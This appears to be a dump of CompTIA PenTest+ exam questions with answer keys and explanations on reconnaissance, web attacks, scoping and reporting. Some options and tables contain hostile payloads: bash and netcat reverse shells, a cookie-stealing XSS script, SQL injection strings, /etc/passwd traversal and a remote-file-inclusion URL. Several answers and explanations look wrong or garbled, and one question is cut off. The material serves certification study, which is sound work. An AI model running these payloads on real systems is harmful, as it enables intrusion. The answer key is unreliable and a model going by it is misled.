

CompTIA

Exam Questions PT0-002

CompTIA PenTest+ Certification Exam



NEW QUESTION 1

Deconfliction is necessary when the penetration test:

- A. determines that proprietary information is being stored in cleartext.
- B. occurs during the monthly vulnerability scanning.
- C. uncovers indicators of prior compromise over the course of the assessment.
- D. proceeds in parallel with a criminal digital forensic investigation.

Answer: C

Explanation:

This will then enable the PenTest to continue so that additional issues can be found, exploited, and analyzed.

NEW QUESTION 2

A penetration tester is trying to restrict searches on Google to a specific domain. Which of the following commands should the penetration tester consider?

- A. inurl:
- B. link:
- C. site:
- D. intitle:

Answer: C

Explanation:

The site: command can be used to restrict searches on Google to a specific domain. For example, site:company.com will return only results from the company.com domain. This can help the penetration tester to find information or pages related to the target domain.

NEW QUESTION 3

A company recently moved its software development architecture from VMs to containers. The company has asked a penetration tester to determine if the new containers are configured correctly against a DDoS attack. Which of the following should a tester perform first?

- A. Test the strength of the encryption settings.
- B. Determine if security tokens are easily available.
- C. Perform a vulnerability check against the hypervisor.
- D. .Scan the containers for open ports.

Answer: D

Explanation:

The first step that a tester should perform to determine if the new containers are configured correctly against a DDoS attack is to scan the containers for open ports. Open ports are entry points for network communication and can expose services or applications that may be vulnerable to DDoS attacks. Scanning the containers for open ports can help the tester identify which services or applications are running on the containers, and which ones may need to be secured or disabled to prevent DDoS attacks. Scanning the containers for open ports can also help the tester discover any unauthorized or malicious services or applications that may have been installed on the containers by previous attackers or compromised containers. Scanning the containers for open ports can be done by using tools such as Nmap, which can perform network scanning and enumeration by sending packets to hosts and analyzing their responses¹. The other options are not the first steps that a tester should perform to determine if the new containers are configured correctly against a DDoS attack. Testing the strength of the encryption settings is not relevant to DDoS attacks, as encryption does not prevent or mitigate DDoS attacks, but rather protects data confidentiality and integrity. Determining if security tokens are easily available is not relevant to DDoS attacks, as security tokens are used for authentication and authorization, not for preventing or mitigating DDoS attacks. Performing a vulnerability check against the hypervisor is not relevant to DDoS attacks, as the hypervisor is not directly exposed to network traffic, but rather manages the virtual machines or containers that run on it.

NEW QUESTION 4

Which of the following documents is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables?

- A. SOW
- B. SLA
- C. MSA
- D. NDA

Answer: A

Explanation:

The document that is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables is the SOW (Statement of Work). The SOW is a formal document that describes the objectives, expectations, and responsibilities of the penetration-testing project². The SOW should be clear, concise, and comprehensive to avoid any ambiguity or misunderstanding.

NEW QUESTION 5

Which of the following is the MOST effective person to validate results from a penetration test?

- A. Third party
- B. Team leader
- C. Chief Information Officer
- D. Client

Answer: B

NEW QUESTION 6

A penetration tester ran the following command on a staging server:

```
python -m SimpleHTTPServer 9891
```

Which of the following commands could be used to download a file named exploit to a target machine for execution?

- A. nc 10.10.51.50 9891 < exploit
- B. powershell -exec bypass -f \\10.10.51.50\9891
- C. bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit
- D. wget 10.10.51.50:9891/exploit

Answer: D

NEW QUESTION 7

You are a security analyst tasked with hardening a web server.

You have been given a list of HTTP payloads that were flagged as malicious. INSTRUCTIONS

Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

HTTP Request Payload Table

Payloads	Vulnerability Type	Remediation
#inner-tab"><script>alert(1)</script>	<div> <div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div> </div>	<div> <div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [] ()</div> <div>Input Sanitization " : < , > , ></div> </div>
item=widget";waitfor%20delay%20"00:00:20";--	<div> <div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div> </div>	<div> <div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [] ()</div> <div>Input Sanitization " : < , > , ></div> </div>
item=widget%20union%20select%20null,null,@version;--	<div> <div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div> </div>	<div> <div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [] ()</div> <div>Input Sanitization " : < , > , ></div> </div>
search=Bob"%3e%3cing%20src%3da%20onerror%3dalert(1)%3e	<div> <div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div> </div>	<div> <div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [] ()</div> <div>Input Sanitization " : < , > , ></div> </div>
item=widget"+convert(int,@version)+"	<div> <div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div> </div>	<div> <div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [] ()</div> <div>Input Sanitization " : < , > , ></div> </div>
site=www.exe"ping%20-c%2010%20localhost"mple.com	<div> <div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div> </div>	<div> <div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [] ()</div> <div>Input Sanitization " : < , > , ></div> </div>
redir=http:%2f%2fwww.malicious-site.com	<div> <div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div> </div>	<div> <div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [] ()</div> <div>Input Sanitization " : < , > , ></div> </div>
logfile=%2fetc%2fpasswd%00	<div> <div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div> </div>	<div> <div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [] ()</div> <div>Input Sanitization " : < , > , ></div> </div>
lookup=\$(whoami)	<div> <div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div> </div>	<div> <div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [] ()</div> <div>Input Sanitization " : < , > , ></div> </div>
logFile=http:%2f%2fwww.malicious-site.com%2fshell.txt	<div> <div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div> </div>	<div> <div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [] ()</div> <div>Input Sanitization " : < , > , ></div> </div>

- A. Mastered
 B. Not Mastered

Answer: A

Explanation:

- * 1. Reflected XSS - Input sanitization (<> ...)
- * 2. Sql Injection Stacked - Parameterized Queries
- * 3. DOM XSS - Input Sanitization (<> ...)
- * 4. Local File Inclusion - sandbox req
- * 5. Command Injection - sandbox req
- * 6. SQLi union - paramtrized queries
- * 7. SQLi error - paramtrized queries

- * 8. Remote File Inclusion - sandbox
- * 9. Command Injection - input sanitization
- * 10. URL redirect - prevent external calls

NEW QUESTION 8

A penetration tester successfully performed an exploit on a host and was able to hop from VLAN 100 to VLAN 200. VLAN 200 contains servers that perform financial transactions, and the penetration tester now wants the local interface of the attacker machine to have a static ARP entry in the local cache. The attacker machine has the following:

IP Address: 192.168.1.63

Physical Address: 60-36-dd-a6-c5-33

Which of the following commands would the penetration tester MOST likely use in order to establish a static ARP entry successfully?

- A. `tcpdump -i eth01 arp and arp[6:2] == 2`
- B. `arp -s 192.168.1.63 60-36-DD-A6-C5-33`
- C. `ipconfig /all findstr /v 00-00-00 | findstr Physical`
- D. `route add 192.168.1.63 mask 255.255.255.255 0 192.168.1.1`

Answer: B

Explanation:

The `arp` command is used to manipulate or display the Address Resolution Protocol (ARP) cache, which is a table that maps IP addresses to physical addresses (MAC addresses) on a network. The `-s` option is used to add a static ARP entry to the cache, which means that it will not expire or be overwritten by dynamic ARP entries. The syntax for adding a static ARP entry is `arp -s <IP address> <physical address>`. Therefore, the command `arp -s 192.168.1.63 60-36-DD-A6-C5-33` would add a static ARP entry for the IP address 192.168.1.63 and the physical address 60-36-DD-A6-C5-33 to the local cache of the attacker machine. This would allow the attacker machine to communicate with the target machine without relying on ARP requests or replies. The other commands are not valid or useful for establishing a static ARP entry.

NEW QUESTION 9

A red-team tester has been contracted to emulate the threat posed by a malicious insider on a company's network, with the constrained objective of gaining access to sensitive personnel files. During the assessment, the red-team tester identifies an artifact indicating possible prior compromise within the target environment.

Which of the following actions should the tester take?

- A. Perform forensic analysis to isolate the means of compromise and determine attribution.
- B. Incorporate the newly identified method of compromise into the red team's approach.
- C. Create a detailed document of findings before continuing with the assessment.
- D. Halt the assessment and follow the reporting procedures as outlined in the contract.

Answer: D

Explanation:

Halting the assessment and following the reporting procedures as outlined in the contract is the best action to take after identifying that an application being tested has already been compromised with malware. This is because continuing the assessment might interfere with an ongoing investigation or compromise evidence collection. The reporting procedures are part of the contract that specifies how to handle any critical issues or incidents during the penetration testing engagement. They should include details such as who to contact, what information to provide, and what steps to follow.

NEW QUESTION 10

A company hired a penetration tester to do a social-engineering test against its employees. Although the tester did not find any employees' phone numbers on the company's website, the tester has learned the complete phone catalog was published there a few months ago.

In which of the following places should the penetration tester look FIRST for the employees' numbers?

- A. Web archive
- B. GitHub
- C. File metadata
- D. Underground forums

Answer: A

NEW QUESTION 10

A penetration tester is conducting an assessment against a group of publicly available web servers and notices a number of TCP resets returning from one of the web servers. Which of the following is MOST likely causing the TCP resets to occur during the assessment?

- A. The web server is using a WAF.
- B. The web server is behind a load balancer.
- C. The web server is redirecting the requests.
- D. The local antivirus on the web server is rejecting the connection.

Answer: A

Explanation:

A Web Application Firewall (WAF) is designed to monitor, filter or block traffic to a web application. A WAF will monitor incoming and outgoing traffic from a web application and is often used to protect web servers from attacks such as SQL Injection, Cross-Site Scripting (XSS), and other forms of attacks. If a WAF detects an attack, it will often reset the TCP connection, causing the connection to be terminated. As a result, a penetration tester may see TCP resets when a WAF is present. Therefore, the most likely reason for the TCP resets returning from the web server is that the web server is using a WAF.

NEW QUESTION 15

A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

- A. Smurf
- B. Ping flood
- C. Fraggle
- D. Ping of death

Answer: C

Explanation:

Fraggle attack is same as a Smurf attack but rather than ICMP, UDP protocol is used. The prevention of these attacks is almost identical to Fraggle attack.
Ref: <https://www.okta.com/identity-101/fraggle-attack/>

NEW QUESTION 16

Which of the following types of information should be included when writing the remediation section of a penetration test report to be viewed by the systems administrator and technical staff?

- A. A quick description of the vulnerability and a high-level control to fix it
- B. Information regarding the business impact if compromised
- C. The executive summary and information regarding the testing company
- D. The rules of engagement from the assessment

Answer: A

Explanation:

The systems administrator and the technical staff would be more interested in the technical aspect of the findings

NEW QUESTION 19

A penetration tester was conducting a penetration test and discovered the network traffic was no longer reaching the client's IP address. The tester later discovered the SOC had used sinkholing on the penetration tester's IP address. Which of the following BEST describes what happened?

- A. The penetration tester was testing the wrong assets
- B. The planning process failed to ensure all teams were notified
- C. The client was not ready for the assessment to start
- D. The penetration tester had incorrect contact information

Answer: B

Explanation:

Sinkholing is a technique used by security teams to redirect malicious or unwanted network traffic to a controlled destination, such as a black hole or a honeypot. This can help prevent or mitigate attacks, analyze malware behavior, or isolate infected hosts. If the SOC used sinkholing on the penetration tester's IP address, it means that they detected the tester's activity and blocked it from reaching the client's network. This indicates that the planning process failed to ensure all teams were notified about the penetration testing engagement, which could have avoided this situation.

NEW QUESTION 24

A penetration tester is testing a new version of a mobile application in a sandbox environment. To intercept and decrypt the traffic between the application and the external API, the tester has created a private root CA and issued a certificate from it. Even though the tester installed the root CA into the trusted store of the smartphone used for the tests, the application shows an error indicating a certificate mismatch and does not connect to the server. Which of the following is the MOST likely reason for the error?

- A. TCP port 443 is not open on the firewall
- B. The API server is using SSL instead of TLS
- C. The tester is using an outdated version of the application
- D. The application has the API certificate pinned.

Answer: D

NEW QUESTION 27

Penetration tester has discovered an unknown Linux 64-bit executable binary. Which of the following tools would be BEST to use to analyze this issue?

- A. Peach
- B. WinDbg
- C. GDB
- D. OllyDbg

Answer: C

Explanation:

OLLYDBG, WinDBG, and IDA are all debugging tools that support Windows environments. GDB is a Linuxspecific debugging tool. GDB is a tool that can be used to analyze and debug executable binaries, especially on Linux systems. GDB can disassemble, decompile, set breakpoints, examine memory, modify registers, and perform other operations on binaries. GDB can help a penetration tester understand the functionality, behavior, and vulnerabilities of an unknown binary. Peach is a tool that can be used to perform fuzzing, which is a technique of sending malformed or random data to a target to trigger errors or crashes. WinDbg and OllyDbg are tools that can be used to analyze and debug executable binaries, but they are mainly designed for Windows systems.

NEW QUESTION 30

Which of the following tools would be BEST suited to perform a manual web application security assessment? (Choose two.)

- A. OWASP ZAP

- B. Nmap
- C. Nessus
- D. BeEF
- E. Hydra
- F. Burp Suite

Answer: AF

NEW QUESTION 33

A tester who is performing a penetration test discovers an older firewall that is known to have serious vulnerabilities to remote attacks but is not part of the original list of IP addresses for the engagement. Which of the following is the BEST option for the tester to take?

- A. Segment the firewall from the cloud.
- B. Scan the firewall for vulnerabilities.
- C. Notify the client about the firewall.
- D. Apply patches to the firewall.

Answer: C

Explanation:

The best option for the tester to take is to notify the client about the firewall. The firewall is not part of the original list of IP addresses for the engagement, which means it is out of scope and should not be tested without permission. The tester should inform the client about the existence and potential risks of the firewall, and ask if they want to include it in the scope or not.

NEW QUESTION 37

A tester who is performing a penetration test on a website receives the following output:

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62

Which of the following commands can be used to further attack the website?

- A. `<script>var adr= '../evil.php?test=' + escape(document.cookie);</script>`
- B. `../../../../../../../../etc/passwd`
- C. `/var/www/html/index.php;whoami`
- D. `1 UNION SELECT 1, DATABASE(),3-`

Answer: D

NEW QUESTION 41

During a penetration test, the domain names, IP ranges, hosts, and applications are defined in the:

- A. SOW.
- B. SLA.
- C. ROE.
- D. NDA

Answer: C

Explanation:

<https://mainnerve.com/what-are-rules-of-engagement-in-pen-testing/#:~:text=The%20ROE%20includes%20the>

NEW QUESTION 43

A penetration tester found several critical SQL injection vulnerabilities during an assessment of a client's system. The tester would like to suggest mitigation to the client as soon as possible.

Which of the following remediation techniques would be the BEST to recommend? (Choose two.)

- A. Closing open services
- B. Encryption users' passwords
- C. Randomizing users' credentials
- D. Users' input validation
- E. Parameterized queries
- F. Output encoding

Answer: DE

Explanation:

SQL injection is a type of attack that exploits a vulnerability in a web application that allows an attacker to execute malicious SQL statements on a database server. SQL injection can result in data theft, data corruption, authentication bypass, or command execution. To mitigate SQL injection vulnerabilities, the following remediation techniques are recommended:

➤ Users' input validation: This involves checking and sanitizing the user input before passing it to the database server. Input validation can prevent malicious or unexpected input from reaching the database server and causing harm. Input validation can be done by using whitelists, blacklists, regular expressions, or escaping mechanisms.

➤ Parameterized queries: This involves using placeholders or parameters for user input instead of concatenating it with the SQL statement. Parameterized queries can separate the user input from the SQL logic and prevent it from being interpreted as part of the SQL statement. Parameterized queries can be implemented by using prepared statements, stored procedures, or frameworks that support them. The other options are not relevant or effective remediation techniques for SQL injection vulnerabilities.

NEW QUESTION 45

A company that develops embedded software for the automobile industry has hired a penetration-testing team to evaluate the security of its products prior to

delivery. The penetration-testing team has stated its intent to subcontract to a reverse-engineering team capable of analyzing binaries to develop proof-of-concept exploits. The software company has requested additional background investigations on the reverse-engineering team prior to approval of the subcontract. Which of the following concerns would BEST support the software company's request?

- A. The reverse-engineering team may have a history of selling exploits to third parties.
- B. The reverse-engineering team may use closed-source or other non-public information feeds for its analysis.
- C. The reverse-engineering team may not instill safety protocols sufficient for the automobile industry.
- D. The reverse-engineering team will be given access to source code for analysis.

Answer: A

NEW QUESTION 46

Which of the following OSSTM testing methodologies should be used to test under the worst conditions?

- A. Tandem
- B. Reversal
- C. Semi-authorized
- D. Known environment

Answer: D

Explanation:

The OSSTM testing methodology that should be used to test under the worst conditions is known environment, which is a testing approach that assumes that the tester has full knowledge of the target system or network, such as its architecture, configuration, vulnerabilities, or defenses. A known environment testing can simulate a worst-case scenario, where an attacker has gained access to sensitive information or insider knowledge about the target, and can exploit it to launch more sophisticated or targeted attacks. A known environment testing can also help identify the most critical or high-risk areas of the target, and provide recommendations for improving its security posture. The other options are not OSSTM testing methodologies that should be used to test under the worst conditions. Tandem is a testing approach that involves two testers working together on the same target, one as an attacker and one as a defender, to simulate a realistic attack scenario and evaluate the effectiveness of the defense mechanisms. Reversal is a testing approach that involves switching roles between the tester and the client, where the tester acts as a defender and the client acts as an attacker, to assess the security awareness and skills of the client. Semi-authorized is a testing approach that involves giving partial or limited authorization or access to the tester, such as a user account or a network segment, to simulate an attack scenario where an attacker has compromised a legitimate user or device.

NEW QUESTION 48

A company recruited a penetration tester to configure wireless IDS over the network. Which of the following tools would BEST test the effectiveness of the wireless IDS solutions?

- A. Aircrack-ng
- B. Wireshark
- C. Wifite
- D. Kismet

Answer: A

Explanation:

Aircrack-ng is a suite of tools that allows the penetration tester to test the effectiveness of the wireless IDS solutions by performing various attacks on wireless networks, such as cracking WEP and WPA keys, capturing and injecting packets, deauthenticating clients, or creating fake access points. Aircrack-ng can also generate different types of traffic and signatures that can trigger the wireless IDS alerts or responses, such as ARP requests, EAPOL frames, or beacon frames.

NEW QUESTION 53

Which of the following BEST describe the OWASP Top 10? (Choose two.)

- A. The most critical risks of web applications
- B. A list of all the risks of web applications
- C. The risks defined in order of importance
- D. A web-application security standard
- E. A risk-governance and compliance framework
- F. A checklist of Apache vulnerabilities

Answer: AC

Explanation:

These two options best describe the OWASP Top 10, which stands for Open Web Application Security Project Top 10 and is a list of the most critical web application security risks based on data from various sources and experts. The list is updated periodically to reflect changes in technology and threat landscape. The list also ranks the risks in order of importance based on their prevalence, impact, and ease of exploitation or remediation. The other options are not accurate descriptions of the OWASP Top 10. The list does not cover all the risks of web applications, but rather focuses on the most common and severe ones. The list is not a web application security standard, but rather a guideline or reference for developers, testers, and security professionals. The list is not a risk-governance and compliance framework, but rather a resource or tool for identifying and mitigating web application vulnerabilities. The list is not a checklist of Apache vulnerabilities, but rather a general list of web application risks that apply to any web server or platform.

NEW QUESTION 58

A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider's metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?

- A. Cross-site request forgery
- B. Server-side request forgery
- C. Remote file inclusion
- D. Local file inclusion

Answer: B

Explanation:

Server-side request forgery (SSRF) is the vulnerability that the tester exploited by querying the provider's metadata and getting the credentials used by the instance to authenticate itself. SSRF is a type of attack that abuses a web application to make requests to other resources or services on behalf of the web server. This can allow an attacker to access internal or external resources that are otherwise inaccessible or protected. In this case, the tester was able to access the metadata service of the cloud provider, which contains sensitive information about the instance, such as credentials, IP addresses, roles, etc.

NEW QUESTION 62

Which of the following would MOST likely be included in the final report of a static application-security test that was written with a team of application developers as the intended audience?

- A. Executive summary of the penetration-testing methods used
- B. Bill of materials including supplies, subcontracts, and costs incurred during assessment
- C. Quantitative impact assessments given a successful software compromise
- D. Code context for instances of unsafe type-casting operations

Answer: D

Explanation:

Code context for instances of unsafe type-casting operations would most likely be included in the final report of a static application-security test that was written with a team of application developers as the intended audience, as it would provide relevant and actionable information for the developers to fix the vulnerabilities. Type-casting is the process of converting one data type to another, such as an integer to a string. Unsafe type-casting can lead to errors, crashes, or security issues, such as buffer overflows or code injection.

NEW QUESTION 64

A penetration tester has completed an analysis of the various software products produced by the company under assessment. The tester found that over the past several years the company has been including vulnerable third-party modules in multiple products, even though the quality of the organic code being developed is very good. Which of the following recommendations should the penetration tester include in the report?

- A. Add a dependency checker into the tool chain.
- B. Perform routine static and dynamic analysis of committed code.
- C. Validate API security settings before deployment.
- D. Perform fuzz testing of compiled binaries.

Answer: A

Explanation:

Adding a dependency checker into the tool chain is the best recommendation for the company that has been including vulnerable third-party modules in multiple products. A dependency checker is a tool that analyzes the dependencies of a software project and identifies any known vulnerabilities or outdated versions. This can help the developers to update or replace the vulnerable modules before deploying the products.

NEW QUESTION 68

A penetration tester was brute forcing an internal web server and ran a command that produced the following output:

```
$ dirb http://172.16.100.10:3000
-----
DURB v2.22
By The Dark Raver
-----
START_TIME: Wed Feb 3 13:06:18 2021
URL_BASE: http://172.16.100.10:3000
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----
GENERATED WORDS: 4612
---- Scanning URL: http://172.16.100.10:3000 ----
+ http://172.16.100.10:3000/ftp (CODE:200|SIZE:11071)
+ http://172.16.100.10:3000/profile (CODE:500|SIZE:1151)
+ http://172.16.100.10:3000/promotion (CODE:200|SIZE:6586)
+ http://172.16.100.10:3000/robots.txt (CODE:200|SIZE:28)
+ http://172.16.100.10:3000 /Video (CODE:200|SIZE:10075518)

-----
END_TIME: Wed Feb 3 13:07:53 2021
DOWNLOADED: 4612 - FOUND: 5
```

However, when the penetration tester tried to browse the URL <http://172.16.100.10:3000/profile>, a blank page was displayed. Which of the following is the MOST likely reason for the lack of output?

- A. The HTTP port is not open on the firewall.
- B. The tester did not run sudo before the command.
- C. The web server is using HTTPS instead of HTTP.
- D. This URI returned a server error.

Answer: A

NEW QUESTION 70

A company's Chief Executive Officer has created a secondary home office and is concerned that the WiFi service being used is vulnerable to an attack. A penetration tester is hired to test the security of the WiFi's router. Which of the following is MOST vulnerable to a brute-force attack?

- A. WPS
- B. WPA2-EAP
- C. WPA-TKIP
- D. WPA2-PSK

Answer: A

NEW QUESTION 75

A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the catalog:

`http://company.com/catalog.asp?productid=22`

The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes:

`http://company.com/catalog.asp?productid=22;WAITFOR`

`DELAY '00:00:05'`

Which of the following should the penetration tester attempt NEXT?

- A. `http://company.com/catalog.asp?productid=22:EXEC xp_cmdshell 'whoami'`
- B. `http://company.com/catalog.asp?productid=22' OR 1=1 -`
- C. `http://company.com/catalog.asp?productid=22' UNION SELECT 1,2,3 -`
- D. `http://company.com/catalog.asp?productid=22;nc 192.168.1.22 4444 -e /bin/bash`

Answer: C

Explanation:

This URL will attempt a SQL injection attack using a UNION operator to combine the results of two queries into one table. The attacker can use this technique to retrieve data from other tables in the database that are not normally accessible through the web application.

NEW QUESTION 80

A penetration tester needs to access a building that is guarded by locked gates, a security team, and cameras. Which of the following is a technique the tester can use to gain access to the IT framework without being detected?

- A. Pick a lock.
- B. Disable the cameras remotely.
- C. Impersonate a package delivery worker.
- D. Send a phishing email.

Answer: C

NEW QUESTION 85

A penetration tester is examining a Class C network to identify active systems quickly. Which of the following commands should the penetration tester use?

- A. `nmap sn 192.168.0.1/16`
- B. `nmap sn 192.168.0.1-254`
- C. `nmap sn 192.168.0.1 192.168.0.1.254`
- D. `nmap sN 192.168.0.0/24`

Answer: B

NEW QUESTION 88

A penetration tester runs a scan against a server and obtains the following output: 21/tcp open ftp Microsoft ftpd

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| 03-12-20 09:23AM 331 index.aspx

| ftp-syst:

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2012 Std 3389/tcp open ssl/ms-wbt-server

| rdp-ntlm-info:

| Target Name: WEB3

| NetBIOS_Computer_Name: WEB3

| Product_Version: 6.3.9600

|_ System_Time: 2021-01-15T11:32:06+00:00

8443/tcp open http Microsoft IIS httpd 8.5

| http-methods:

|_ Potentially risky methods: TRACE

|_ http-server-header: Microsoft-IIS/8.5

|_ http-title: IIS Windows Server

Which of the following command sequences should the penetration tester try NEXT?

- A. `ftp 192.168.53.23`
- B. `smbclient \\\\WEB3\\IPC$ -I 192.168.53.23 -U guest`
- C. `ncrack -u Administrator -P 15worst_passwords.txt -p rdp 192.168.53.23`
- D. `curl -X TRACE https://192.168.53.23:8443/index.aspx`
- E. `nmap --script vuln -sV 192.168.53.23`

Answer: A

NEW QUESTION 93

Which of the following is a rules engine for managing public cloud accounts and resources?

- A. Cloud Custodian
- B. Cloud Brute
- C. Pacu
- D. Scout Suite

Answer: A

Explanation:

Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to define policies to enable a well managed cloud infrastructure, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.

Cloud Custodian is a tool that can be used to manage public cloud accounts and resources. Cloud Custodian can define policies and rules for cloud resources based on various criteria, such as tags, filters, actions, modes, or schedules. Cloud Custodian can enforce compliance, governance, security, cost optimization, and operational efficiency for cloud resources. Cloud Custodian supports multiple public cloud providers, such as AWS, Azure, GCP, and Kubernetes. Cloud Brute is a tool that can be used to enumerate cloud platforms and discover hidden files and buckets. Pacu is a tool that can be used to exploit AWS environments and perform post-exploitation actions. Scout Suite is a tool that can be used to audit cloud environments and identify security issues.

NEW QUESTION 95

Which of the following tools provides Python classes for interacting with network protocols?

- A. Responder
- B. Impacket
- C. Empire
- D. PowerSploit

Answer: B

Explanation:

Impacket is a tool that provides Python classes for interacting with network protocols, such as SMB, DCE/RPC, LDAP, Kerberos, etc. Impacket can be used for network analysis, packet manipulation, authentication spoofing, credential dumping, lateral movement, and remote execution.

NEW QUESTION 100

A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?

- A. Create a one-shot system service to establish a reverse shell.
- B. Obtain /etc/shadow and brute force the root password.
- C. Run the nc -e /bin/sh <...> command.
- D. Move laterally to create a user account on LDAP

Answer: A

Explanation:

<https://hosakacorp.net/p/systemd-user.html>

Creating a one-shot system service to establish a reverse shell is a technique that would best support maintaining persistence after reboot on a Linux-based file server. A system service is a program that runs in the background and performs various tasks without user interaction. A one-shot system service is a type of service that runs only once and then exits. A reverse shell is a type of shell that connects back to an attacker-controlled machine and allows remote command execution. By creating a one-shot system service that runs a reverse shell script at boot time, the penetration tester can ensure persistent access to the file server even after reboot.

NEW QUESTION 101

A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?

- A. nmap192.168.1.1-5-PU22-25,80
- B. nmap192.168.1.1-5-PA22-25,80
- C. nmap192.168.1.1-5-PS22-25,80
- D. nmap192.168.1.1-5-Ss22-25,80

Answer: C

Explanation:

PS/PA/PU/PY are host discovery flags which use TCP SYN/ACK, UDP or SCTP discovery respectively. And since the ports in the options are mostly used by TCP protocols, then it's either the PS or PA flag. But since we need to know if the ports are live, sending SYN packet is a better alternative. Hence, I choose PS in this case.

The nmap -PS22-25,80 192.168.1.1-5 command will return vulnerable ports that might be interesting to a potential attacker, as it will perform a TCP SYN scan on ports 22, 23, 24, 25, and 80 of the target hosts. A TCP SYN scan is a stealthy technique that sends a SYN packet to each port and waits for a response. If the response is a SYN/ACK packet, it means the port is open and listening for connections. If the response is a RST packet, it means the port is closed and not accepting connections. If there is no response, it means the port is filtered by a firewall or IDS.

NEW QUESTION 103

A company is concerned that its cloud service provider is not adequately protecting the VMs housing its software development. The VMs are housed in a datacenter with other companies sharing physical resources. Which of the following attack types is MOST concerning to the company?

- A. Data flooding
- B. Session riding

steps would the penetration tester most likely try NEXT to further exploit the web server? (Choose two.)

- A. Cross-site scripting
- B. Server-side request forgery
- C. SQL injection
- D. Log poisoning
- E. Cross-site request forgery
- F. Command injection

Answer: DF

Explanation:

Local File Inclusion (LFI) is a web vulnerability that allows an attacker to include files on a server through the web browser. This can expose sensitive information or lead to remote code execution.

